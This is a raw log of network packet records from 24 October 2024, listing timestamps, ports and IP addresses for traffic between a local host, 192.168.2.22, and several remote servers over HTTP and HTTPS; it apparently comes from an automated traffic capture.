Oct 24, 2024 08:45:42.414320946 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:42.414711952 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:42.417751074 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:42.463327885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:43.286742926 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:43.286839008 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:43.288336039 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:43.288345098 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:43.293258905 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:43.293344021 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:43.546228886 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:43.546327114 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:43.546350956 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:43.546394110 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:43.546430111 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:43.547032118 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:43.547053099 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:44.099761963 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:44.374330997 CEST	49171	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:44.379918098 CEST	80	49171	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:44.379988909 CEST	49171	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:44.426356077 CEST	49172	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:44.426397085 CEST	443	49172	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:44.426446915 CEST	49172	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:44.427596092 CEST	49173	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:44.427632093 CEST	443	49173	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:44.427676916 CEST	49173	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:44.445066929 CEST	49173	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:44.445082903 CEST	443	49173	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:44.445372105 CEST	49172	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:44.445390940 CEST	443	49172	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:45.035286903 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.035387039 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.043272972 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.043349981 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.152158976 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.152232885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.152251959 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.152261972 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.152317047 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.152364016 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.154807091 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.154861927 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.154906988 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.159111977 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.159174919 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.159197092 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.167992115 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.168040991 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.168061972 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.176594019 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.176660061 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.176678896 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.185101986 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.185163021 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.185178041 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.193960905 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.194019079 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.194026947 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.202497959 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.202553034 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.202560902 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.211258888 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.211318016 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.211323023 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269088030 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269126892 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269155979 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269160032 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.269181967 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269198895 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.269218922 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269248962 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269262075 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.269267082 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.269301891 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.269848108 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.271472931 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.271502972 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.271528959 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.271534920 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.271539927 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.271578074 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.275778055 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.277431011 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.277482986 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.277488947 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.284476042 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.284499884 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.284533024 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.284538031 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.284576893 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.289247036 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.294847012 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.294899940 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.294904947 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.300628901 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.300657034 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.300688982 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.300694942 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.300736904 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.306344986 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.310106039 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.310125113 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.310180902 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.311912060 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.317570925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.317610025 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.317619085 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.317632914 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.317670107 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.323261023 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.328974962 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.329001904 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.329029083 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.329035997 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.329070091 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.334738016 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.340266943 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.340300083 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.340315104 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.340321064 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.340466022 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.345971107 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.385823011 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.385871887 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.385893106 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.385911942 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.385943890 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.385957956 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.385963917 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.386002064 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.386008024 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.386352062 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.386387110 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.386399031 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.386404037 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.386441946 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.386962891 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.387069941 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.387098074 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.387114048 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.387120008 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.387154102 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.387844086 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.389790058 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.389839888 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.389853954 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.395005941 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.395040989 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.395098925 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.395112991 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.399775028 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.399823904 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.399830103 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.404710054 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.404753923 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.404762030 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.407881021 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.407928944 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.407933950 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.411089897 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.411137104 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.411143064 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.413814068 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.413866043 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.413872004 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.417016029 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.417064905 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.417071104 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.419774055 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.419831991 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.419836998 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.422846079 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.422897100 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.422903061 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.425654888 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.425709009 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.425714970 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.428569078 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.428618908 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.428631067 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.431442022 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.431482077 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.431495905 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.434206009 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.434263945 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.434276104 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.437014103 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.437072039 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.437077999 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.439807892 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.439848900 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.439856052 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.442585945 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.442627907 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.442634106 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.445302963 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.445342064 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.445348024 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.448180914 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.448229074 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.448235035 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.450737953 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.450788975 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.450793982 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.453463078 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.453514099 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.453517914 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.456043959 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.456096888 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.456101894 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.458559990 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.458605051 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.458611012 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.462858915 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.462908030 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.462913990 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.502624035 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.502681971 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.502702951 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.502794027 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.502835989 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.502841949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.503030062 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.503070116 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.503074884 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.503391981 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.503421068 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.503436089 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.503444910 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.503479958 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.503490925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.504084110 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.504115105 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.504126072 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.504132032 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.504163027 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.504168034 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.506834984 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.506885052 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.506896973 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.511766911 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.511816978 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.511831999 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.516758919 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.516805887 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.516807079 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.516822100 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.516866922 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.516874075 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.521707058 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.521760941 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.521775007 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.524983883 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.525029898 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.525043964 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.528373003 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.528417110 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.528429985 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.531356096 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.531399012 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.531411886 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.533797026 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.533845901 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.533858061 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.536724091 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.536777020 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.536789894 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.539623022 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.539668083 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.539680004 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.542568922 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.542610884 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.542622089 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.545483112 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.545528889 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.545541048 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.548321009 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.548363924 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.548368931 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.548382044 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.548415899 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.551057100 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.551151991 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.551189899 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.551201105 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.554080963 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.554133892 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.554148912 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.556895018 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.556941032 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.556955099 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.559519053 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.559571981 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.559585094 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.562299967 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.562346935 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.562352896 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.565126896 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.565268040 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.565290928 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.568348885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.568419933 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.568434000 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.568461895 CEST	443	49172	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:45.568581104 CEST	49172	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:45.570602894 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.570667028 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.570677042 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.571578979 CEST	443	49173	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:45.571638107 CEST	49173	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:45.574150085 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.574203968 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.574212074 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.575414896 CEST	49172	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:45.575421095 CEST	443	49172	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:45.576107979 CEST	443	49172	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:45.576174974 CEST	49172	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:45.579794884 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.579881907 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.580019951 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.580037117 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.582077980 CEST	49173	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:45.582098007 CEST	443	49173	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:45.582420111 CEST	443	49173	5.159.62.243	192.168.2.22
Oct 24, 2024 08:45:45.582477093 CEST	49173	443	192.168.2.22	5.159.62.243
Oct 24, 2024 08:45:45.619898081 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.619997025 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.620007992 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.620039940 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:45.620095015 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:45.620105028 CEST	443	49169	142.250.186.97	192.168.2.22
